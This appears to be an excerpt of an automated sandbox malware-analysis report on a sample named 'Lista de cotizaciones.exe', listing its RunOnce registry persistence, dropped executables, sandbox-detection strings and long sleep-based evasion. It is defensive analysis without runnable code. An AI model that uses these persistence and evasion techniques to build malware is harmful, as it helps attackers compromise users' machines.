Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce abacuses	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce abacuses	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce abacuses	Jump to behavior

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Lista de cotizaciones.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Method.exe PID: 5976, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Lista de cotizaciones.exe, 00000001.00000002.1360864673.0000000002742000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002B75000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Memory allocated: CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Memory allocated: 26B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Memory allocated: CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Memory allocated: 71C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Memory allocated: 6980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Memory allocated: 1190000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Memory allocated: 4AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Memory allocated: 7810000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Memory allocated: 6FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Memory allocated: 1080000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Memory allocated: 2B70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Memory allocated: 4B70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Memory allocated: 2A10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Memory allocated: 2CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Memory allocated: 2A10000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Window / User API: threadDelayed 2070	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Window / User API: threadDelayed 7752	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: foregroundWindowGot 1176	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Window / User API: threadDelayed 2534	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Window / User API: threadDelayed 7298	Jump to behavior

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 8004	Thread sleep count: 2070 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -99797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 8004	Thread sleep count: 7752 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -99670s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -99451s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -99310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -98981s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -98860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -98638s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -98516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -98406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -98297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -98188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -98063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -97938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -97813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -97703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -97594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -97469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -97360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -97235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -97110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -96985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -96730s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -96591s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -96469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -96360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -96235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -96110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -95985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -95860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -95735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -95610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -95485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -95360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -95235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -95110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -94985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -94860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -94735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -94610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -94485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -94360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -94241s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -94138s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -94017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe TID: 7604	Thread sleep time: -93895s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep count: 39 > 30	Jump to behavior
